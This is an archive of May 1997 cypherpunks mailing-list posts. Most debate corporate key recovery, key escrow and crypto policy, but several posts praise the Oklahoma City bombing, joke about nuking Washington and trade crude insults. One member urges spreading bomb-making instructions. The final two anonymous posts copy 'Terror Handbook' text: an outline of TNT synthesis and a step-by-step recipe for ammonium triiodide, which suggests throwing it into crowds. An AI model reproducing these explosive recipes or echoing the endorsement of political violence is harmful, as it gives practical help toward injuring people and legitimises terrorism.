Date: Sun, 11 May 1997 17:57:57 +0800
To: cypherpunks@cyberpass.net
Subject: Re: key recovery vs data backup
In-Reply-To: <19970508192011.29178@bywater.songbird.com>
Message-ID: <19970511024334.53652@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


I addressed many of your issues in another post, so I will be 
relatively brief...
On Sun, May 11, 1997 at 10:24:46AM +0200, Alan Barrett wrote:
[...]
> There are many similarities between your idea of a "key safe" for CAK
> (corporate access to keys), and the idea espoused by Carl and others
> of encrypting everything to a corporate key as well as to the other
> recipients.
> 
> If the corporation expects to be successful at forcing it's staff to run
> special software that talks to the CAK key safe, then the corporation
> should also expect to be successful at forcing its staff to run special
> software that adds the special coprorate key as a recipient of all
> encrypted messages.

True.

> If the corporation expects to be successful at keeping the keys to the
> CAK key safe secure, while still allowing an appropriate coalition of
> high level managers to get access to the contents of the key safe,
> then the corporation should also expect to be successful at keeping
> the private part of the corporate key secure, while still allowing
> an appropriate coalition of high level managers to use the special
> corporate private key to decrypt messages.
>
> If the coproration trusts those with access to the CAK key safe not to
> abuse their access, then the corporation should also trust those with
> access to the special corporate key not to abuse it.

Not true.  The activities are quite different in detail.  In the 
multiple recipients (MR) case the coalition keymeisters get together to 
decrypt a single document; in the key safe (KS) case the keymeisters get 
together to decrypt a key, which can then be used to decrypt many 
documents.   In the multiple recipient case, therefore, the master 
key is potentially used quite frequently, and hence much more 
exposed.  There are many other differences: I won't try to go into 
detail here.

The frequent use of the master key is a major problem, because in the 
MR case, when a master key is compromised every document in the 
company is exposed; whereas in the KS case, given appropriate 
security around the keysafe, it is not anywhere as much of a problem.

> > With this background, perhaps now you can see why I say that Carl's
> > solution doesn't even address the problem.  The problem is management
> > of complexity.  Carl says "encrypt to Acme Corp".  Who in Acme Corp?
> > What part of the organization that is Acme Corp is authorized to know
> > this particular bit of information?
> 
> Whatever the answer to the latter question is, it's the same in the CAK
> case as it is in the "encrypt to a special coprorate key" case.

Not if the encryption client encrypts to different company recipients
depending on a policy (which one might want if one tries to limit the 
compromised master key problem described above.)  Then the policy, 
contrary to what you state below, must be reflected in the client.

> > Because some of the employees are idiots you want this
> > built automatically into the application they are using for
> > encryption/email/whatever.  How does this software know what policy
> > is appropriate for which employee?  How is that policy distributed?
> > What is the interface that allows a policy to be defined?  How do you
> > protect the policy definition from subversion?
> 
> The same problems arise in the CAK case.  And the same solution: you
> make the user's software do the same thing every time, and implement the
> policy elsewhere.

Sigh.  The situations are really quite different.  In the KS
case the policy never impacts the software; in the MR case I don't 
think you can avoid it.

> > Access to the key-safe is critical, of course, but it can be made very
> > secure -- a special-purpose piece of hardware that requires passwords
> > from n out of m key czars before access is granted, for example.
> > Or the contents of the key safe can be encrypted via keys escrowed
> > through a secret sharing mechanism
> 
> The same problems and solutions apply in both the CAK case and in the
> "corporate key as extra crypto recipient" case.

Not at all.  The corporate master key is used to decrypt documents in the 
MR case; in the KS case the master key is used to get to the key 
database.  Two totally different functions, two totally different 
security paradigms.  The old saw -- you can either hide your eggs all 
over the case, and hope not too many of them get found, or you can 
put them all in one basket and guard the basket.

> Now, having spent some time attempting to show that the two cases are
> almost identical in many respects, let me point out a few ways in which
> I think encrypting to a special corporate key is better than CAK.
> 
>   - With CAK, the key safe contains at least a copy of every key used by
>     every staff member.  All that needs to be kept secure.  This storage
>     problem does not arise in the non-CAK case.

But a relatively straightforward storage problem, really.

>   - With CAK, every time a user creates a new key, the user's software
>     needs to talk to teh key safe.  This needs a secure channel, which
>     raises further authentication problems (how does the user know that
>     he's not talking to a fake key safe).  These don't arise in the
>     non-CAK case.

Not so.  You have to exactly the same issue -- how does the user find 
out the master key to encrypt to?

>   - Once a CAK infrastructure is in place, it is likely to be easier
>     for a government to impose GAK.  It's better not to set up the CAK
>     infrastructure in the first place.
> 
>     To be fair, similar arguments apply to the "add an extra crypto
>     recipient" case: just add two extra crypto recipients (corporate key
>     and big-brother key).  But I think that the general public is more
>     likely to understand what the government wants and to reject the
>     idea in this case than in the GAK case.

Arguable.  Guv won't say "everybody has encrypt every file to the
government key".  Instead they will insist that the corporate master
key be escrowed.  Any master key is an easy target.  And they will
have very good excuses for it -- corporations are public entities, tax
records, etc, so I don't think the public will get worked up about 
it.  Corporations won't, either.

Note that the keysafe model doesn't really need a master key -- it 
will work with just good physical security.  In that case the Gov 
would just issue a subpoena, I guess.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sun, 11 May 1997 18:13:48 +0800
To: daw@cs.berkeley.edu (David Wagner)
Subject: Re: Money orders, debit cards, ...
In-Reply-To: <5l42hm$u44@joseph.cs.berkeley.edu>
Message-ID: <3.0.1.32.19970511031130.0072fa1c@pop.sirius.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 02:12 AM 5/11/97 -0700, David Wagner wrote:

>(Note: contents of calls are protected by law, but traffic analysis
>specifically is allowed, far as I can tell.)

Correct. There is no (federal) constitutionally protected privacy interest in
traffic-analysis data about phone calls, because (so the argument goes) that
data is voluntarily disclosed to a third party (the phone company).

An argument might be available (in state court) based upon a state's
constitutional right to privacy/right to be free from unreasonable searches &
seizures, if there are any states left whose state constitutions are more
protective than the federal constitution. California and Oregon both used to
be more protective, but the wise and far-seeing voters in both states changed
that via the initiative process. Can't even blame that on the legislators. :(


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBM3WZg/37pMWUJFlhAQFUxQf/XjlD9a53YGoFFZRukCfl9sEo+se2pioH
QgocIjr+QU/cLMSR99OwUnhGMeNAgAo4teMVwVdIol+I/EA2+WJ2Q1FWlGIW7TtD
FTftPbXQQ8vNxTrni0sdi7YcYy2HsXK+Ll+qqyfe4HExvHcjs/FQn8zPtkh005Se
Err3uvzfE+IgWGUTOa+wC7C4w7SDYtlx4elvpEwYAPtSvYr8HtHZgY5yYIaoXb15
BTi1gMTIbL3UNcNWwwl6Bvpki6OWlzhT5wzWSmMPoBG5g67BrctSyWTp4kDVc19K
UQL5G9vNqelmfBkQ1MPUDgRCs4X57jvOjIz7BcdenQopjzbsaXDA/g==
=BFJ5
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 11 May 1997 10:21:47 +0800
To: cypherpunks@toad.com
Subject: Re: Wine Politics Again! (fwd)
Message-ID: <199705110207.EAA12477@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 9 May 1997, Tim May wrote:

> At 4:09 AM -0800 5/9/97, Robert Hettinga wrote:
> >--- begin forwarded text
...

> >Hello friends of the Virtual Vineyards and family wineries. Remember the
> >felony direct shipping law in Georgia I wrote about a few weeks ago? Well,
> >Governor Miller signed it, unfortunately. Ship a bottle of wine, go to
> >jail. Amazing.

It should go without saying that this is a classic case of a dumb bill,
being passed to serve the special interest of liquor store owners.

> Chiles and his co-conspirators should be shot for high crimes against the
> Constitution. After Clinton, Freeh, Kerrey, and the other traitors.

It should go without saying that the above is nonsense.  Sorry Tim.  To
take only the least obvious point:  the Constitution states in Amendment
21 -- ratified in 1933 and beyond any argument part of our Constitution --
that states get to make all the rules about the transportation or
importation of liquor into their jurisdiction.  You may not like this
rule, but it is beyond any serious argument our law.  A state that uses
this power in a stupid way is not acting in any sense
"unconstitutionally".  Supporters of this bill can be called "dumb" or
"bought and paid for" or other unkind things.  But I fail to see how
exercising a constitutional right can be a crime against the constitution. 
 
[... ugly stuff about "soft targets"]

It ill behooves participants in a democracy to either advocate or even
tolerate or even cluck sympathetically at mass murder for political ends. 
This way lies Bosnia.

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law | "Cyberspace" is not a place.
U. Miami School of Law     | [No email to foil spam]
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Sun, 11 May 1997 19:30:03 +0800
To: declan@well.com
Subject: Re: Disinformation in L.A.
In-Reply-To: <Pine.SUN.3.94.970510191520.7299A-100000@panix.com>
Message-ID: <3.0.1.32.19970511071841.02a83e64@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:08 AM 5/11/97 -0400, Declan McCullagh wrote:
>
>On Sat, 10 May 1997, Duncan Frissell wrote:
>> 
>> Tim was mostly talking about nuking the District of Columbia.  You will
>> note that that is an artificial community filled entirely with politicians
>> and their sycophants.
>
>Ahem!
>
>I note that Washington, DC occasionally even contains Duncan Frissells,
>Lucky Greens, and Sameer Parekhs.
>
>-Declan
>Washington, DC
>
>
>

But not too often.

DCF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 11 May 1997 19:33:32 +0800
To: cypherpunks@toad.com
Subject: Re: Mondex
Message-ID: <199705111118.HAA29729@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C[unt] May is a pimply dweeb sitting at a 
computer chortling at his own imagined cleverness.

             |||||||||||
              \~0/ \0~/
              <  (0)  >
         --oOO--/|||\--OOo- Tim C[unt] May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 11 May 1997 23:31:19 +0800
To: cypherpunks@toad.com
Subject: Re: Disinformation in L.A.
In-Reply-To: <199705110023.TAA19163@manifold.algebra.com>
Message-ID: <gZJJ7D17w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:
> > There will be a few unfortunate explosions in the world over the next few
> > years so I'm sure Tim is just hoping for a beneficial target selection.
>
> Duncan, it is doubtful that there is any member of this mailing list, at
> least of those whom I have seen posting, who will dare to raise his fat
> ass and blow something up.

A good friend of mine used to be a gun-toting Black Panther in the days
of his youth.  Now he figured the U.S. ain't worth it and lives in the
Carribean.

By the way, here's a good idea for a cypherpunks project: use Adam's
prototype eternity server to place some bomb-making instrctions all
over the Web and Usenet.

Does anyone here know chemistry, besides Jim Bell, who's busy? Someone
should update the Anarchist's Cookbook.

I bet the NCSA folks are kicking themselves for missing the opportunity
to have Jim Bell speak at InfoWarCon 96 :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 11 May 1997 23:29:31 +0800
To: cypherpunks@toad.com
Subject: Re: Disinformation in L.A.
In-Reply-To: <Pine.GSO.3.95.970511020618.12848B-100000@cp.pathfinder.com>
Message-ID: <19JJ7D18w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh <declan@pathfinder.com> writes:

> On Sat, 10 May 1997, Duncan Frissell wrote:
> >
> > Tim was mostly talking about nuking the District of Columbia.  You will
> > note that that is an artificial community filled entirely with politicians
> > and their sycophants.
>
> Ahem!
>
> I note that Washington, DC occasionally even contains Duncan Frissells,
> Lucky Greens, and Sameer Parekhs.

Of the lot, I don't mind seeing Lucky G. and Sameer P. nuked.
I'd hope that Duncan F. and Declan M. happen to be travelling,
but the end result is worth it. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Sun, 11 May 1997 23:23:25 +0800
To: Cypherpunks@toad.com
Subject: Re: War & InfoWar
In-Reply-To: <199705110311.VAA20026@wombat.sk.sympatico.ca>
Message-ID: <3.0.1.32.19970511101807.007a1b90@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain


At 09:15 PM 5/10/97 -0600, you wrote:
>Blanc wrote:
>
>> Lately Tim has been making extremely dramatic death statements:   "Kill
>> them all...they are unworthy of life.", "... I
>> pray for the deaths of these criminals.",  "Washington is a cancer than can
>> only be cured with a few megatons of
>> nuclear disinfectant.", "May they all be vaporized.", etc.
>> 
>> These are definitely dark in mood and understandable; I also have violently
>> negative & despairing emotions about these people.   I just wouldn't ever
>> think of involving those who are innocent bystanders and happened to be in
>> the wrong place at the wrong time.
>
>  Of course, you have your own definintion of innocenent bystanders,
>while others may have different definitions.
>  Is someone who is in the military because of forced enscription at
>the point of a gun (with threats of imprisonment if they refuse) an 
>innocent bystander? When an invading force attacks your home, do you
>only shoot back at those who are there willingly?
>  How about those who willingly process and uphold the atrocities
>which the government commits upon its citizens? (Those who don't turn
>on the gas, but merely put them in the ovens {because the paperwork
>all seemed to be in order}.)
>
>  Were the children in the daycare center at the Federal Building
>at OK city innocent bystanders?
>  Then why, pray tell, did the government allow them to be placed
>in a building which was known to be a prime target of anti-government
>paramilitary idealists? Were they being used as a "shield" in the
>hopes that their presence would protect the others? Or were they
>there in order to provide sensational fodder for government response
>to the inevitable?
>  History bulges with examples of governments using their citizens
>as human shields by placing armament factories in residential areas
>and there are a multitude of other examples of government disregard
>for the lives of their citizens.
>  The government has prosecuted dozens of individuals for planning
>to bomb the OK city Federal Building (including executed murderers).
>It has long been listed as a target of choice for anti-government
>paramilitarists. For the government to deny culpability in children
>being present at the bombing reeks of hypocrisy.
>
>> I know that critical times call for critical action, but I just don't
>> expect from anarchist libertarian cypherpunks that they would "throw
>> caution to the wind" (so to speak) and forget how to think about events and
>> actions in terms of specifics and utter precision.
>
>  The fact of the matter is that the government has declared war
>on the freedom and liberty of its citizens and passed draconian
>laws which prevent citizens from defending themselves from 
>government oppression. The government protects those participating
>in its crimes from having to pay a price for their complicity.
>  The government has a ruinous effect on the lives of millions
>of its citizens daily and is responsible for a mountain of deaths
>of "innocent people." Those taking part in the process should be
>made aware that there is a price to pay for their actions.
>
>  Should the Allied war against Nazi Germany have not taken place
>because "innocent" lives would be lost? Should the French Freedom
>fighters not have fought to free their country from occupation
>because "innocent bystanders" would die in the process?
>  Timothy McVeigh's position in history will likely belong in the
>hands of the winner of the war between the government and its
>citizens, but he is already considered a freedom fighter by more
>people than the government would like to admit. He has issued a
>wake-up call for those who think that they can remain nameless 
>and faceless in their complicity with government atrocities.
>
>  While I would have chosen a different approach and target for
>an attack, I will not pass moral judgement on McVeigh's actions.
>That is between himself and his conscience.
>  Tim McVeigh at least had the fortitude to act on his outrage
>over what he perceived as government injustice. What did others
>do over the outrageous tragedy at Waco? Mostly they just turned
>their heads away and tried to pretend that our government is not
>a murderer of men, women and children.
>  How many government employees quit in outrage, stating that
>they would not take part in such atrocities? How many took a
>vocal moral stand against their superiors, or exposed the
>government duplicity involved in the police action?
>
>  Nobody who turns their head is "innocent" and they cannot avoid
>their own responsibility if they choose to place their children
>in the line of fire as a result of their participation in crimes
>against the citizens.
>  Given the wide knowledge of the OK city Federal Building being
>a known target of anti-government forces, I think the placing of
>a daycare center there was the equivalent of military forces who
>cowardly advance with women and children in front of them. (And
>there are ample examples of this in history.)
>
>  Those in government express outrage at the barbarity of an
>individual citizen attacking his oppressors, but apparently are
>not outraged enough to stop their oppression.
>  The fact is that we have a police state whose power and abuse
>of power are growing by leaps and bounds because there has been
>no realistic amount of accountability attached to their actions.
>  This is an unnatural state of affairs and one that human nature
>will correct. When things become too far out of balance, then
>the universal laws of nature correct the situation. I believe that
>the dinosaurs learned this lesson, as well.
>
>TruthMonger
>
>
Citizens used to not take any of the government's crap.  After the
revolutionary war, if the governemt so much as wiped their asses sideways
without the citizens approval, people would let them know, vehemently.
Citizens need to do this more often.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Barrett <apb@iafrica.com>
Date: Sun, 11 May 1997 16:38:00 +0800
To: cryptography@c2.net
Subject: Re: key recovery vs data backup
In-Reply-To: <19970508192011.29178@bywater.songbird.com>
Message-ID: <Pine.NEB.3.95.970511094853.29245D-100000@apb.iafrica.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 8 May 1997, Kent Crispin wrote:
> Unfortunately, it doesn't solve the problem at all.  In fact it
> doesn't even address the problem.  So much so that reading these
> replies makes me think that I am looking at different problem than
> you.

There are many similarities between your idea of a "key safe" for CAK
(corporate access to keys), and the idea espoused by Carl and others
of encrypting everything to a corporate key as well as to the other
recipients.


If the corporation expects to be successful at forcing it's staff to run
special software that talks to the CAK key safe, then the corporation
should also expect to be successful at forcing its staff to run special
software that adds the special coprorate key as a recipient of all
encrypted messages.

If the corporation expects to be successful at keeping the keys to the
CAK key safe secure, while still allowing an appropriate coalition of
high level managers to get access to the contents of the key safe,
then the corporation should also expect to be successful at keeping
the private part of the corporate key secure, while still allowing
an appropriate coalition of high level managers to use the special
corporate private key to decrypt messages.

If the coproration trusts those with access to the CAK key safe not to
abuse their access, then the corporation should also trust those with
access to the special corporate key not to abuse it.

> With this background, perhaps now you can see why I say that Carl's
> solution doesn't even address the problem.  The problem is management
> of complexity.  Carl says "encrypt to Acme Corp".  Who in Acme Corp?
> What part of the organization that is Acme Corp is authorized to know
> this particular bit of information?

Whatever the answer to the latter question is, it's the same in the CAK
case as it is in the "encrypt to a special coprorate key" case.

> Because some of the employees are idiots you want this
> built automatically into the application they are using for
> encryption/email/whatever.  How does this software know what policy
> is appropriate for which employee?  How is that policy distributed?
> What is the interface that allows a policy to be defined?  How do you
> protect the policy definition from subversion?

The same problems arise in the CAK case.  And the same solution: you
make the user's software do the same thing every time, and implement the
policy elsewhere.

> Access to the key-safe is critical, of course, but it can be made very
> secure -- a special-purpose piece of hardware that requires passwords
> from n out of m key czars before access is granted, for example.
> Or the contents of the key safe can be encrypted via keys escrowed
> through a secret sharing mechanism

The same problems and solutions apply in both the CAK case and in the
"corporate key as extra crypto recipient" case.


Now, having spent some time attempting to show that the two cases are
almost identical in many respects, let me point out a few ways in which
I think encrypting to a special corporate key is better than CAK.

  - With CAK, the key safe contains at least a copy of every key used by
    every staff member.  All that needs to be kept secure.  This storage
    problem does not arise in the non-CAK case.

  - With CAK, every time a user creates a new key, the user's software
    needs to talk to teh key safe.  This needs a secure channel, which
    raises further authentication problems (how does the user know that
    he's not talking to a fake key safe).  These don't arise in the
    non-CAK case.

  - Once a CAK infrastructure is in place, it is likely to be easier
    for a government to impose GAK.  It's better not to set up the CAK
    infrastructure in the first place.

    To be fair, similar arguments apply to the "add an extra crypto
    recipient" case: just add two extra crypto recipients (corporate key
    and big-brother key).  But I think that the general public is more
    likely to understand what the government wants and to reject the
    idea in this case than in the GAK case.

--apb (Alan Barrett)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sun, 11 May 1997 23:27:46 +0800
To: jya@pipeline.com (John Young)
Subject: Re: Admin Feigns Back Off On Crypto Bill
In-Reply-To: <1.5.4.32.19970509195541.0090c6d0@pop.pipeline.com>
Message-ID: <199705111443.KAA08859@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
| BTW, another report claims that proposed new regs will allow 
| banks the special privilege of strong crypto if they come up 
| with an acceptable KMI within two years.

	This is entirely newspeak and nonsense to drive a 'flick the
switch' shift to GAK.

	Banks already have FINCEN, the IRS, and the FDIC constantly
deep inside their books for whatever purpose the Feds deem
appropriate.  There is absolutely zero call for KR within banks.  (I'm
assuming that an acceptable KMI means KR.  After all, the NSA wrote
the current banking KMI (X9.17, X9.9), and it doesn't seem to have any
KR in it.  The ABA wrote the latest revs of those specs to use 3des,
which seemingly takes them out of the realm of acceptable.)

	Analagous arguments can be made about brokerages and other
NBFIs and the SEC, or other branches of government.  I've heard a
story, may be urban legend, that the SEC recently sent someone to jail
on insider trading on the basis that his father made a huge profit on
a stock deal.  There was no phone or mail traffic recorded that would
indicate collusion.  Someone (Unicorn?) may have a reference.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Barrett <apb@iafrica.com>
Date: Sun, 11 May 1997 17:28:36 +0800
To: cypherpunks@cyberpass.net
Subject: Re: key recovery vs data backup
In-Reply-To: <19970510233052.07440@bywater.songbird.com>
Message-ID: <Pine.NEB.3.95.970511105108.29245E-100000@apb.iafrica.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 10 May 1997, Kent Crispin wrote:
> So PGP's multiple recipient feature is a fundamental building block,
> but you need something more in a crypto-client to be sure that company
> policy is followed.  It's that "somthing more" that is the hard part.
>
> And lest we get into the macho programmer argument -- of course it's
> just a mere matter of design and programming.

Yes.  And probably a lot less design and programming than the key-safe
mechanism.  (For example, PGP already has an "encrypt-to-self" option
that makes it add the user's own key as an additional crypto recipient
of all messages; changing that to the more general "encrypt to this list
of extra keys" should be quite easy.  But designing and building a key
safe sounds like a lot of work to me.)

Of coure, you trust the users not to use versions of PGP that do not
make the corporate key a recipient of all communications, right?  If
not, then you also don't trust them not to use keys that have not been
sent to the key safe in the CAK model.

> > If making policy decisions is too complex in your view for
> > implementation or practicality, well just substitute a policy
> > dumbed down to the level of the safe model.  Ie there is one crypto
> > recipient, all company communications _must_ be encrytped to it as a
> > second crypto recipient.
>
> You are right -- there is the degenerate case where the master key is
> fixed.  However, I would contend that is *very* bad crypto design.  So
> thus you have the problem of distributing information about a revoked
> master key.  (Your solution, below, was that you have a signed policy
> statement.  If you have a security breach, and are revoking a master
> key, how do you know what signature to trust?)

In the key-safe model, you have the problem o distributing information
about a change in location (network address) of the key safe, or a
change in the keys used to authenticate access to the key safe --
similar complexity in both models.

> Furthermore, by encrypting every document to the same master key you
> have actually vastly increased your exposure -- a key-safe can have a
> lot of special-purpose physical and cryptographic security, but the
> master key in the multiple recipient model is almost certainly treated
> the same as all other keys.

You can use special hardware to generate the key pair and to store the
private key -- again, similar issues and similar solutions in both
models.

> > I'm sure you can arrange this same flexibility and bring in the
> > baggage of the policy decisions that come with it for the safe
> > model also if you want it.  Store keys for different departments in
> > different safes.  Give the master keys for the department to the
> > department head, etc.,etc.  Same problem, similar policy decisions,
> > right?
>
> Nope.  Not at all.  The policy for multiple recipients needs to be
> interpreted by the crypto clients.  But in the key-safe model policy
> is almost entirely in human hands.  It doesn't even have to be written
> down.

In either model, you can have the users' software do the same thing
every time (talk to teh same key safe, or encrypt to the same additional
key every time); and in either model you can have the users' software
do different things depending on policies (talk to different key safes,
encrypt to different additional recipients).

It's unfair to say "but I choose to do the same thing every time, and
you choose to do different things every time, therefore my model is
simpler than yours".  In fact, both models are almost equally capable of
being used in either the simple way or teh complex way.

> Modestly secure example: The keysafe runs on a single workstation,
> hardened similar to a firewall.  The only network connections are to
> a single port, which does the cryptographically secure key storing
> protocol.  When a key needs to be recovered, three trusted employees
> troop into the room (three passwords are required, these passwords
> are essentially the master key), and retrieve the needed key on a
> floppy.  Other than the authentication protocol, there is *no* policy
> embedded in the key-safe, which is to say, *any* policy the company
> wants to use is ok.  It may take the personal presence of the company
> president, it may take a signed statement from operations staff,
> whatever.  No policy is embedded in software, and no software to
> support software needs to be written.

Again, the same scenario plays equally well in the
extra-crypto-recipient model.

> I spoke too soon here.  The key-safe model is intrinsically more
> secure.

I don't see how.

--apb (Alan Barrett)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Monique Lamont" <alice0@hotmail.com>
Date: Tue, 13 May 1997 01:30:23 +0800
To: cypherpunks@cyberpass.net
Subject: whine politics again
Message-ID: <199705111833.LAA28472@f33.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


on the subject of wine-importing restrictions in florida:

tcmay wrote:
> Chiles and his co-conspirators should be shot for high crimes > against the
> Constitution. After Clinton, Freeh, Kerrey, and the other traitors.
> 
> Every day that passes, I'm more convinced that McVeigh did the right > thing.
> Some innocents died, but, hey, war is hell. Broken eggs and all > that.

oh yaah.  you betcha.

it's illegal to ship wine to floridans now, so therefore it is okay 
to execute the responsible officials and blow up innocents.

no doubt there are hundreds of cypherpunks out there nodding
their heads in blithe agreement at this point.

HELLO PEOPLE!  buy a clue from the Discount Clue Store, and 
while you are out, stop by the Jiffy Lube and get your
common human decency refilled.

love,

alice0



---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 12 May 1997 00:37:37 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Disinformation in L.A.
In-Reply-To: <gZJJ7D17w165w@bwalk.dm.com>
Message-ID: <Pine.GSO.3.95.970511120544.23519C-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


Here's another good idea for a cypherpunks project: *don't* use the
Eternity Server to post even more bomb-making instructions all over the
Web and Usenet.

You might remember I wrote recently about the DoJ report released this
month that calls for new legislation to ban bomb-making info online. Now
Feinstein's office tells me she's going to introduce a bill. 

No need to throw red meat to the hounds.

(Hmmm. Looking back at my message, I'm essentially saying "censor
yourself or the government will." Not sure I like that argument.)

-Declan


On Sun, 11 May 1997, Dr.Dimitri Vulis KOTM wrote:

> By the way, here's a good idea for a cypherpunks project: use Adam's
> prototype eternity server to place some bomb-making instrctions all
> over the Web and Usenet.
> 
> Does anyone here know chemistry, besides Jim Bell, who's busy? Someone
> should update the Anarchist's Cookbook.
> 
> I bet the NCSA folks are kicking themselves for missing the opportunity
> to have Jim Bell speak at InfoWarCon 96 :-)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 12 May 1997 01:34:53 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199705111711.NAA21757@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


<TITLE>T.N.T.</TITLE>
<FONT SIZE=5>T.N.T</FONT>
<BR>
<BR>
<BR>
     T.N.T., or Tri-Nitro-Toluene, is perhaps the second oldest known high
explosive. Dynamite, of course, was the first. It is certainly the best known
high explosive, since it has been popularized by early morning cartoons. It
is the standard for comparing other explosives to, since it is the most well
known. In industry, a T.N.T. is made by a three step nitration process that is
designed to conserve the nitric and sulfuric acids which are used to make the
product. A terrorist, however, would probably opt for the less economical one
step method. The one step process is performed by treating toluene with very
strong (fuming) sulfuric acid. Then, the sulfated toluene is treated with very
strong (fuming) nitric acid in an ice bath. Cold water is added the solution,
and it is filtered.
<BR>
<HR>
<BR>
<I>From the Terror Handbook</I>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 12 May 1997 01:39:30 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199705111714.NAA21881@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


<TITLE>ammonium triiodide crystals</TITLE>
<FONT SIZE=5>AMMONIUM TRIIODIDE CRYSTALS</FONT>
<BR>
<BR>
<BR>
Ammonium triiodide crystals are foul-smelling purple colored crystals
that decompose under the slightest amount of heat, friction, or shock, if they
are made with the purest ammonia (ammonium hydroxide) and iodine.  Such
crystals are said to detonate when a fly lands on them, or when an ant walks
across them.  Household ammonia, however, has enough impurities, such as soaps
and abrasive agents, so that the crystals will detonate when thrown,crushed, or heated.  Upon detonation, a loud report is heard, and a cloud of purple iodine
gas appears about the detonation site.  Whatever the unfortunate surface that
the crystal was detonated upon will usually be ruined, as some of the iodine
in the crystal is thrown about in a solid form, and iodine is corrosive.  It
leaves nasty, ugly, permanent brownish-purple stains on whatever it contacts.
Iodine gas is also bad news, since it can damage lungs, and it settles to the
ground and stains things there also.  Touching iodine leaves brown stains on
the skin that last for about a week, unless they are immediately and vigorously
washed off.  While such a compound would have little use to a serious terrorist,
a vandal could utilize them in damaging property.  Or, a terrorist could throw
several of them into a crowd as a distraction, an action which would possibly
injure a few people, but frighten almost anyone, since a small crystal that
not be seen when thrown produces a rather loud explosion.  Ammonium triiodide
crystals could be produced in the following manner:
<BR>
<BR>
<HR>
<BR>
<PRE>
      MATERIALS                 EQUIPMENT
     

     -iodine crystals          -funnel and filter paper

                               -paper towels
     -clear ammonia
      (ammonium hydroxide,      -two throw-away glass jars
      for the suicidal)
</PRE>
<BR>
<HR>
<BR>
1) Place about two teaspoons of iodine into one of the glass jars.  The jars
   must both be throw away because they will never be clean again.
<BR><BR>
2) Add enough ammonia to completely cover the iodine.
<BR><BR>
3) Place the funnel into the other jar, and put the filter paper in the funnel.
   The technique for putting filter paper in a funnel is taught in every basic
   chemistry lab class: fold the circular paper in half, so that a semi-circle
   is formed.  Then, fold it in half again to form a triangle with one curved
   side.  Pull one thickness of paper out to form a cone, and place the cone
   into the funnel.
<BR><BR>
4) After allowing the iodine to soak in the ammonia for a while, pour the
   solution into the paper in the funnel through the filter paper.
<BR><BR>
5) While the solution is being filtered, put more ammonia into the first jar
   to wash any remaining crystals into the funnel as soon as it drains.
<BR><BR>
6) Collect all the purplish crystals without touching the brown filter paper,
   and place them on the paper towels to dry for about an hour.  Make sure that
   they are not too close to any lights or other sources of heat, as they could
   well detonate. While they are still wet, divide the wet material into about
   eight chunks.
<BR><BR>
